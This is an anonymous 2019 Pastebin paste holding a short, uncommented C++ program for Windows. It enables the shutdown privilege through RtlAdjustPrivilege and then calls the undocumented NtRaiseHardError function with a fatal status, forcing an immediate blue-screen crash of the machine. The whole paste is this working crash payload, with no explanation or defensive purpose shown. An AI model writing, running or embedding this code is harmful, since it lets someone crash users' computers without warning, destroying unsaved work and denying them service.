SHARE
TWEET

Untitled

a guest Apr 23rd, 2019 65 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <Windows.h>
  2. #include <winternl.h>
  3.  
  4. using namespace std;
  5.  
  6. typedef NTSTATUS(NTAPI *pdef_NtRaiseHardError)(NTSTATUS ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask OPTIONAL, PULONG_PTR Parameters, ULONG ResponseOption, PULONG Response);
  7. typedef NTSTATUS(NTAPI *pdef_RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
  8.  
  9. int main()
  10. {
  11.  
  12.     BOOLEAN bEnabled;
  13.     ULONG uResp;
  14.     LPVOID RtlAdjustPrivilegeAddress = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlAdjustPrivilege");
  15.     LPVOID NtRaiseHardErrorAddress = GetProcAddress(GetModuleHandle("ntdll.dll"), "NtRaiseHardError");
  16.     pdef_RtlAdjustPrivilege RtlAdjustPrivilege = (pdef_RtlAdjustPrivilege)RtlAdjustPrivilegeAddress;
  17.     pdef_NtRaiseHardError NtRaiseHardError = (pdef_NtRaiseHardError)NtRaiseHardErrorAddress;
  18.     NTSTATUS NtRet = RtlAdjustPrivilege(19, TRUE, FALSE, &bEnabled);
  19.     NtRaiseHardError(STATUS_FLOAT_MULTIPLE_FAULTS, 0, 0, 0, 6, &uResp);
  20.  
  21.     return 0;
  22. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top